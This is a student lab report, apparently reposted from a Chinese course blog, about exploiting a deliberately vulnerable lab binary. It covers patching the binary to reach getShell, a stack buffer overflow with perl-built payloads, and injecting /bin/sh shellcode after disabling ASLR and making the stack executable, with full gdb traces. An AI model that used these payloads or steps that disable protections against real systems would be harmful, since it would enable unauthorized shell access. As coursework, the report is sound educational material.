20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告
作者:互联网
20192415 2021-2022-2 《网络与系统攻防技术》实验一实验报告
目录1.实验内容
1.1 实验要求
实践对象:一个名为pwn1的linux可执行文件(已改名为pwn20192415)。
程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
正常情况下getShell是不会被运行的。实践目标就是想办法运行getShell。
实践内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2 基础知识
1.2.1 汇编知识
- call:调用子程序。先将返回地址(EIP)压入栈顶,再将程序跳转到当前调用方法的起始地址。
call=push eip + jump - leave:关闭栈帧。栈指针指向帧指针,然后POP备份的原帧指针到%EBP。
leave=mov %ebp %esp + pop %ebp - ret:子程序的返回指令。栈顶的返回地址弹出到EIP,按照EIP此时指示的指令地址继续执行程序。
ret=pop eip - NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- EIP:寄存器,存放CPU下一条要执行指令的内存地址。例如:主函数调用子函数,EIP指明子函数执行完后回到主函数中要执行的指令是哪一条。
- ESP:寄存器,存放栈顶指针,并且始终指向栈顶。
- EBP:寄存器,存放栈底指针。当调用子函数前,ESP将值传递给EBP,作为栈底;当子函数调用结束后,EBP将值传递给ESP,ESP再次指向栈顶。
1.2.2 Linux操作
- objdump -d:从objfile中反汇编那些特定指令机器码的section。
- "|":管道,将前者的输出作为后者的输入。
- ">":输入输出重定向符,将前者输出的内容输入到后者中。
- more:分页显示文件内容。
- perl:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。“perl -e”后面紧跟单引号括起来的字符串,表示在命令行要执行的命令;使用输出重定向“>”可将perl生成的字符串存储到文件中。
- xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
- ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
1.2.3 其他
- 小端模式:数据高字节保存在内存高地址,数据低字节保存在内存低地址。
- 大端模式:数据高字节保存在内存低地址,数据低字节保存在内存高地址,和阅读习惯一致。
- 栈:LIFO,栈顶低栈底高,增长方向由高地址向低地址,指令执行方向从低地址到高地址。
- shellcode:一段机器指令(code)。通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- ASLR:Address Space Layout Randomization,地址空间布局随机化。这是一种针对缓冲区溢出的安全保护技术。借助ASLR,文件每次加载到内存的起始地址都会随机变化。
2.实验过程
2.1 直接修改程序机器指令,改变程序执行流程
2.1.1 对目标文件pwn20192415反汇编,观察函数地址
objdump -d pwn20192415 | more #反汇编文件pwn20192415的代码段,并分页显示
/getShell #寻找getShell函数所在地址
main函数中,汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”,e8即“跳转”,CPU将执行地址为“EIP + d7ffffff”处指令。
从核心代码可知,foo函数的地址为0x8048491,则跳转时EIP=0x8048491-0xffffffd7=80484ba。
2.1.2 更改e8指令跳转地址
现在我们希望main调用getShell函数,则需要改变“e8”后的值。
从核心代码可知,getShell函数的地址为0x804847d,0x804847d-0x80484ba=0xffffffc3,所以应将“e8”后的值更改为“c3ffffff”,也就是需要把“d7”改为“c3”。
vi pwn20192415 #进入目标文件
:%!xxd #转换为16进制
/d7 #查找要修改的内容,
rcr3 #用r将“d7”修改为c3
:%!xxd -r #转换16进制为原格式
:wq #保存退出
objdump -d pwn20192415 | more #反汇编查修改是否正确
修改完成后,函数汇编指令如图:
2.1.3 实验效果
再次运行pwn20192415,程序执行流程改变。
原先程序输入字符串会回显,现在会出现一个shell、可以输入任何指令。
2.2 构造输入参数,造成BOF攻击
2.2.1 对目标文件pwn20192415反汇编,观察漏洞
文件反汇编结果与2.1.1相同,观察代码并分析栈的内容。
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp #预留0x38(56字节)给局部变量
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax #预留0x1c(28字节)给“gets”得到的字符串
804849a: 89 04 24 mov %eax,(%esp) #读入字符串,超出部分溢出
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo> #调用foo,同时在堆栈上压上返回地址80484ba
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
··············
观察可知,该函数预留0x38(56字节)给局部变量,预留0x1c(28字节)给“gets”得到的字符串。
若gets中得到的字符串长于32字节(28——0x1c + 4——EBP),则会覆盖到EIP位置。
只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行。
2.2.2 确认输入字符串哪几个字符会覆盖到返回地址
使用gdb进行调试,输入“r”运行代码。
gdb pwn20192415 #进入gdb,调试程序pwn20192415
输入长度为36字节的字符串“12345abcdefghijklmnopqrstuvwxyz67890”,回显后提示发生段错误。
(gdb) r
Starting program: /root/pwn20192415
12345abcdefghijklmnopqrstuvwxyz67890
12345abcdefghijklmnopqrstuvwxyz67890
Program received signal SIGSEGV, Segmentation fault.
0x30393837 in ?? ()
查看当前所有寄存器的值,其中EIP的值为“0x30393837”,对应字符“0987”,正是我们输入的第33~36个字节的内容。
(gdb) info r #显示寄存器的值
eax 0x25 37
ecx 0xf7fad890 -134555504
edx 0x25 37
ebx 0x0 0
esp 0xffffd360 0xffffd360
ebp 0x367a7978 0x367a7978
esi 0xf7fac000 -134561792
edi 0xf7fac000 -134561792
eip 0x30393837 0x30393837
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
因此,可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那么,只要将这四个字节的内容替换为getShell的内存地址“804847d”,pwn20192415就会运行getShell。
2.2.3 确认字节序,构造字符串
输入为“7890”时EIP的值为“0x30393837”,说明字节序是小端优先。
想要得到“0804847d”,输入顺序应该为“7d 84 04 08”,也即为“32个字符+\x7d\x84\x04\x08”。
但“\x7d\x84\x04\x08”无法通过键盘输入,要用程序来完成(Perl)。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20192415 #把这一串字符存在文件input20192415中(0a即回车,若没有则程序运行时需要手工按)
xxd input20192415 #验证构造的字符串是否符合预期
2.2.4 实验效果
(cat input20192415; cat) | ./pwn20192415 #通过管道符,将input20192415作为pwn20192415的输入
2.3 注入Shellcode并执行
2.3.1 准备shellcode
shellcode就是一段机器指令(code)。
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
本次实验直接使用许心远学姐编写好的shellcode,如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
#这是一段实现shell返回的shellcode
2.3.2 修改设置,堆栈可执行,关闭地址随机化
修改设置:
apt-get install execstack #安装execstack
execstack -s pwn20192415 #设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
ASLR(Address Space Layout Randomization,地址空间布局随机化)是一种针对缓冲区溢出的安全保护技术。借助ASLR,文件每次加载到内存的起始地址都会随机变化。
/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制,有以下三种情况:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
查看设置效果:
execstack -q pwn20192415 #查询文件的堆栈是否可执行
X pwn20192415
more /proc/sys/kernel/randomize_va_space
0
2.3.3 构造要注入的payload
linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode #本次实验真正使用的是anything+retaddr+nops+shellcode
nop+shellcode+retaddr
retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单来说,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
本次实验我们使用的是构造方法是 anything+retaddr+nops+shellcode 。
要做的第一步是确定retaddr的内存地址和应存放的内容。
先以如下内容作为输入,进行gdb调试并查看寄存器的变化过程:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20192415
#此处结尾必须为“\x00”,通过人工输入回车使foo函数继续执行,便于断点的设置
在一个终端中运行pwn20192415,在另一个终端中进行gdb调试:
(cat input_shellcode20192415;cat) | ./pwn20192415 #打开一个终端注入攻击buff
ps -ef | grep pwn20192415 #找到pwn20192415进程号
gdb #启动gdb调试进程
调试过程如下:
(gdb) attach 1785
Attaching to process 1785
······
0xf7fd3079 in __kernel_vsyscall ()
(gdb) disassemble foo #设置断点
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.
Breakpoint 1, 0x080484ae in foo ()
(gdb) info r
eax 0x25 37
ecx 0xf7fad890 -134555504
edx 0x25 37
ebx 0x0 0
esp 0xffffd37c 0xffffd37c
ebp 0x9080cd0b 0x9080cd0b
esi 0xf7fac000 -134561792
edi 0xf7fac000 -134561792
eip 0x80484ae 0x80484ae <foo+29>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) si #单步执行观察esp和eip的变化
0x01020304 in ?? ()
(gdb) info r
eax 0x25 37
ecx 0xf7fad890 -134555504
edx 0x25 37
ebx 0x0 0
esp 0xffffd380 0xffffd380
ebp 0x9080cd0b 0x9080cd0b
esi 0xf7fac000 -134561792
edi 0xf7fac000 -134561792
eip 0x1020304 0x1020304
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/16x 0xffffd380 #以16进制显示16个字符
0xffffd380: 0xf7fa0000 0xf7fac000 0x00000000 0xf7decb41
0xffffd390: 0x00000001 0xffffd424 0xffffd42c 0xffffd3b4
0xffffd3a0: 0x00000001 0x00000000 0xf7fac000 0xffffffff
0xffffd3b0: 0xf7ffd000 0x00000000 0xf7fac000 0xf7fac000
(gdb) x/16x 0xffffd37c
0xffffd37c: 0x01020304 0xf7fa0000 0xf7fac000 0x00000000
0xffffd38c: 0xf7decb41 0x00000001 0xffffd424 0xffffd42c
0xffffd39c: 0xffffd3b4 0x00000001 0x00000000 0xf7fac000
0xffffd3ac: 0xffffffff 0xf7ffd000 0x00000000 0xf7fac000
(gdb) x/16x 0xffffd35c
0xffffd35c: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd36c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b
0xffffd37c: 0x01020304 0xf7fa0000 0xf7fac000 0x00000000
0xffffd38c: 0xf7decb41 0x00000001 0xffffd424 0xffffd42c
由调试过程可知,输入字符的前32字节将从内存地址0xffff5c开始填充,33~36字节将从0xffff7c处开始填充,36字节之后将从0xffff80处开始填充。
同时,0xffff7c处开始的4个字节将作为EIP返回地址,这就是我们寻找的retaddr的内存地址。
而retaddr的内容,即输入字符的33~36字节内容,应该指向构造的shellcode。
我们可以将shellcode放置在输入字符的第36字节之后,当其装入内存后,0xffff80就是shellcode的起始地址(即retaddr的内容、输入字符的33~36字节内容)。
综上,最终构造的输入字符如下:
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode20192415_2
#若结尾使用“\x00”,运行程序后输入回车进入shell;若结尾使用“\x0a”,运行程序后直接进入shell
2.3.4 实验效果
3.问题及解决方案
- 问题1:内存地址不断变动,原先shellcode注入成功重新开机后失败。
- 问题1解决方案:每次开机后,必须重新关闭地址可随机化。
-
问题2:文件没有运行权限。
-
问题2解决方案:
ls -alh #查看权限 chmod +x pwn20192415 #增加执行权限
-
问题3:构造方式nop+shellcode+retaddr为什么没成功?
-
问题3原因:使用构造方式nop+shellcode+retaddr,其中“nop+shellcode”占输入字符的前32字节,“retaddr”占后4字节。
构造字符为:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x5c\xd3\xff\xff\x00"' > input_shellcode
实际运行过程中该方式未成功,进行单步调试查找原因,程序能够跳转到shellcode,问题出现在shellcode中的“push %ebx”。
可能是代码也栈上,当前栈顶也在这,push后就把指令给覆盖了,非常巧合。
- 问题4:为什么使用“(cat inputxxxx; cat)”来作为执行文件的输入?为什么使用“(cat inputxxxx)”或“(cat inputxxxx;)”时会发生段错误?
- 问题4解决方案:未解决
4.学习感悟
通过本次实现,我不仅实现了缓冲区溢出漏洞攻击,而且理解了调用函数时栈和寄存器的变化过程。
三个实践内容步步深入,使我逐渐熟悉了汇编语言、机器指令,增强了分析汇编指令执行过程的能力。
但这次实验也反映出,我对Linux命令、汇编知识的学习掌握还不够深入与熟练,需要继续不断学习不断巩固。
同时,本次实验是在“关闭堆栈执行保护、关闭地址随机化”的条件下才成功实现了缓冲区溢出漏洞攻击,如果抛开这样的条件限制,是否能够实现缓冲区溢出漏洞攻击、应该如何实现?还有许多内容需要学习。
感谢实验过程中老师的教导指导、同学的讨论互助,未来我们一起努力一起进步!
5.参考资料
标签:字节,20192415,gdb,地址,2021,2022,pwn20192415,shellcode,输入 来源: https://www.cnblogs.com/lanvin/p/16057524.html